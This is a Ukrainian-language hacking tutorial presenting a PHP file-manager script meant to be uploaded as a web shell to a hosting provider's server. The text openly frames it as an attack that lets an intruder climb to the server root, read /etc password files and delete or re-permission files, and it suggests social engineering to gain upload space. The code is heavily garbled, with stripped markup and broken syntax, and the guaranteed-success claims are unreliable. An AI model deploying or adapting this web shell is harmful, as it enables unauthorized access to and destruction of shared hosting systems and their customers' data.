Дана атака на сервер проходить зі 100% гарантією. Для успішної атаки зломщикові необхідно дисковий простір на сервері розміром в 10 Kb (стільки важить скрипт) і можливість запустити свій PHP скрипт. Далеко не секрет, що хакери дуже часто проникають у систему, використовуючи социнженерию, тобто спочатку підготовляють жертву, щоб та їм довіряла, отримують від неї інформацію і здійснюють злом. Тому роздобути на будь-якому сервері невелике дисковий простір для хакера не проблема. В крайньому випадку можна і купити собі домен на сервері провайдера або будь-який інший хостингової компанії, яку хакер збирається зламати.
У більшій частині злому схильні безкоштовні хостингові компанії і провайдери, які при реєстрації доступу в інтернет дають безкоштовне місце для розміщення домашньої сторінки користувача з запуском власних PHP скриптів.
Ідея реалізації атаки полягає в тому, щоб залізти на жорсткий диск провайдера і мати можливість керувати файлами, тобто видаляти, переглядати, редагувати. Для цього нам доведеться написати невеликий скрипт, який отримає доступ до ресурсів сервера. Для початку визначимо якими функціями повинен володіти скрипт: закладемо в нього функції видалення вибраних файлів, скрипт повинен вміти переглядати картинки, відкривати каталоги, виставляти права доступу до файлів, знати коли файл був створений в системі, коли файл був змінений, до якої групи відноситься файл і виставляти відповідну іконку для зручності, переходити з каталогу в каталог, вказувати повні шляхи до файлів:
inode == $b->inode )
return 0;

switch( $sort ) //оголошуємо, що за якими функціями буде сортуватися
{
case «size»:
return ($a->size > $b->size)? -1: 1;
case «type»:
return strcmp($a->type, $b->type);
case «view»:
return strcmp($a->view, $b->view);
case «atime»:
return ($a->atime > $b->atime)? -1: 1;
case «ctime»:
return ($a->ctime > $b->ctime)? -1: 1;
case «mtime»:
return ($a->mtime > $b->mtime)? -1: 1;
case «group»:
return strcmp($a->group, $b->group);
case «inode»:
return ($a->inode > $b->inode)? -1: 1;
case «owner»:
return strcmp($a->owner, $b->owner);
case «perms»:
return ($a->perms > $b->perms)? -1: 1;
case «ext»:
return strcmp($a->ext, $b->ext);
case «name»:
default:
return 1;
}
}

function getIcons( $ext ) //оголошуємо функцію зіставлення іконки з типом файлу
{
switch( $ext )
{
case «dir»:
$file = «dir»;
break;
case «link»:
$file = «link»;
break;
case «zip»:
case «tgz»:
case «gz»:
case «Z»:
$file = «compressed»;
break;
case «gif»:
case «jpg»:
$file = «image2»;
break;
case dvi»:
$file = «dvi»;
break;
case “”:
case «exe»:
$file = «binary»;
break;
case «sh»:
case «php»:
case «php3»:
case «sql»:
case «inc»:
case «js»:
$file = «script»;
break;
case «txt»:
$file = «text»;
break;
case «html»:
case «shtml»:
case «phtml»:
$file = «world1»;
break;
default:
$file = «generic»;
break;
}

return $IMG=””;
}

class MyFile { //оголошуємо які дані будуть отримані
var $name;
var $path;
var $type;
var $ext;
var $stype;
var $sfile;
var $size;
var $file;
var $atime;
var $ctime;
var $mtime;
var $group;
var $inode;
var $owner;
var $perms;

function set( $filename, $path )
{
GLOBAL $cd; //оголошуємо функції переходу за каталогами

$this->name = $filename;
$this->path = $path;
$this->file = $this->path.”/”.$this->name;

$this->type = filetype( $this->file );
$this->size = filesize( $this->file );
$this->atime = fileatime( $this->file );
$this->ctime = filectime( $this->file );
$this->mtime = filemtime( $this->file );
$this->group = filegroup( $this->file );
$this->inode = fileinode( $this->file );
$this->owner = fileowner( $this->file );
$this->perms = fileperms( $this->file );

switch( $this->type )
{
case «link»:
$this->sfile = readlink( $this->file );
$this->stype = filetype( $this->sfile );
$this->ext = «link»;
break;
case «file»:
$list = explode( “.”, $this->name );
$nb = sizeof( $list );
if( $nb > 0 )
$this->stype = $list[$nb-1];
else
$this->stype = “???”;

$this->ext = $this->stype;

switch( $this->stype )
{
case «gif»:
case «GIF»:
case «jpg»:
case «JPG»:
if( isset( $cd ) )
$pwd = $cd.”/”;
else
$pwd = “”;

$this->sfile = «file.»’>”;
break;
default:
$this->sfile = $this->stype;
break;
}
break;
default:
$this->stype = “”;
$this->sfile = “”;
$this->ext = $this->type;
break;
}
}

function formatSize()
{
return number_format( $this->size, 0, “.”, “”);
}
}

function genUrl( $ref $args, $key = “”, $val = “” )

{
$valist = “”;

reset( $args );

if( $key != “” )
$args[ “$key” ] = $val;

if( !is_array( $args ) )
return $ref;

while( list( $key, $val ) = each( $args ) )
{
if( $val == “” )
continue;

if( $valist == “” )
$valist .= “?”;
else
$valist .= “&”;

$valist .= $key.”=”.$val;
}
return $ref.$valist;
}

function updir( $path )
{
$last = strrchr( $path, “/” );
$n1 = strlen( $last );
$n2 = strlen( $path );
return substr( $path, 0, $n2-$n1 );
}

$ref = «dir.php»;

if( isset( $cd ) )
{
$path = $cd;
//$lcd = “?cd=$cd'”;
$args[ «cd» ] = $cd;
}
else
{
$path = “.”;
//$lcd = “”;
$args[ «cd» ] = “”;
}

if( isset( $nb ) )
{
for( $i = 0; $i $file успішно видалений”; //повідомлення про успішне видалення файлу
else
echo “
Не можу видалити виставите права доступу $file“; //повідомлення про неможливість видалити файл доступний тільки для читання
}
elseif( is_dir( $file ) )
{
if( rmdir( $file ) )
echo “
$file успішно видалений”; //повідомлення про успішне видалення
else
echo “
файл недоступний для видалення$file“; //повідомлення про неможливість видалити файл
}
}
}
}

$step = 100;

if( !isset( $sort ) )
$sort = «name»;
else
$args[ «sort» ] = $sort;

if( !isset( $from ) )
$from = 0;
else
$args[ «from» ] = $from;

if( !isset( $to ) )
$to = $from + $step;

$d = dir($path);
echo “”;
echo “
Повернутися в початок”; //посилання на повернення в домашню директорію скрипта
$updir = updir($d->path);
if( $updir != “.” )
echo “
Піднятися на директорію вгору; $updir”; //посилання на директорію вгору
echo “
Відкрити директорію: path.”/..>..”; //оновлення поточної директорії
echo “
Поточна директорія: “.$d->path.”“; //показуємо шлях до директорії і файли, які в ній знаходяться

$n = 0;
while( $entry=$d->read() )
{
$lFiles[ $n ] = new MyFile;
$lFiles[ $n ]->set( $entry, $path );
$n++;
}

$d->close(); //створюємо HTML форму управління функціями
echo “”;
echo “”;
echo “”;
echo «D»;
//echo “Type”;
echo “Ім’я”;
echo “Розмір”;
echo “Клас”;
echo “У системі”;
echo “Створений”;
echo “Змінений”;
echo “Розмір”;
echo “Група”;
echo “ow”;
echo “in”;
echo «Показ»;
echo “”;

@usort( $lFiles, cmp );

for( $i = 0; $i = $to ) )
continue;

$k = $i;
echo “”;
echo «name
.»’>”;

$IMG=getIcons( $lFiles[ $k ]->ext );

$dform = «M j y H:i»;
// echo “”.$lFiles[ $k ]->type.””;
echo “$IMG”.$lFiles[ $k ]->name.””;
echo “”.$lFiles[ $k ]->formatSize().””;
echo “”.$lFiles[ $k ]->ext .””;
echo “”.date( $dform, $lFiles[ $k ]->atime ).””;
echo “”.date( $dform, $lFiles[ $k ]->ctime ).””;
echo “”.date( $dform, $lFiles[ $k ]->mtime ).””;
echo “”.$lFiles[ $k ]->perms.””;
echo “”.$lFiles[ $k ]->group.””;
echo “”.$lFiles[ $k ]->owner.””;
echo “”.$lFiles[ $k ]->inode.””;

switch( $lFiles[ $k ]->type )
{
case «link»:
if( $lFiles[ $k ]->stype == «dir» )
{
$tcd = $lFiles[ $k ]->path.”/”.$lFiles[ $k ]->name;
echo “”.
$lFiles[ $k ]->sfile.””;
}
else
echo “”.$lFiles[ $k ]->sfile.””;
break;
case «dir»:
$tcd = $lFiles[ $k ]->path.”/”.$lFiles[ $k ]->name;
echo “”.
$lFiles[ $k ]->name.””;
break;
case «file»:
echo “”.$lFiles[ $k ]->sfile.””;
break;
default:
echo «NO»;
break;
}
echo “”;
}

echo “”;

$from = $from — $step;
if( isset( $cd ) )
{
echo “”;
}
echo “”;

//echo “
from=$from;to=$to;n=$n”;
echo “
“;
if( $from >= 0 )
{
echo “Попередній/”;
}
if( $to Далі “;
}
echo “
“;
echo “”;
echo “”;
?> //кажемо, що PHP скрипт скінчився

От реалізація сценарію, який дозволяє вам отримати доступ до каталогів провайдера, що містяться у нього на вінчестері. Потенційна небезпека застосування даного сценарію в тому, що зловмисник отримує практично всю інформацію про сервер, також зловмисник отримує доступ до папки etc, де зберігаються паролі. При перевірці працездатності скрипта і перевірці на уразливості було виявлено, що всі сервери, на яких дозволено запускати PHP виявилися піддані даної атаки. Скрипт помещяется на сервер провайдера, де вам дозволено запускати PHP скриптів, в директорію домашньої сторінки. За замовчуванням скрипт переглядає всі наявні файли в одній директорії, куди він був завантажений для того, щоб потрапити в кореневий каталог сервера тисніть на посилання «Піднятися на каталог вище» до тих пір, поки ви не побачите кореневий каталог сервера. При виході з вашої директорії скрипт можливо повідомить вам про неможливість вийти з вашого каталогу, це повідомлення сервера ігноруйте і тисніть на посилання «Піднятися на каталог вгору», скрипт передасть дані серверу про те, що каталоги які ви намагаєтесь переглянути є вашими, і вас пропустять.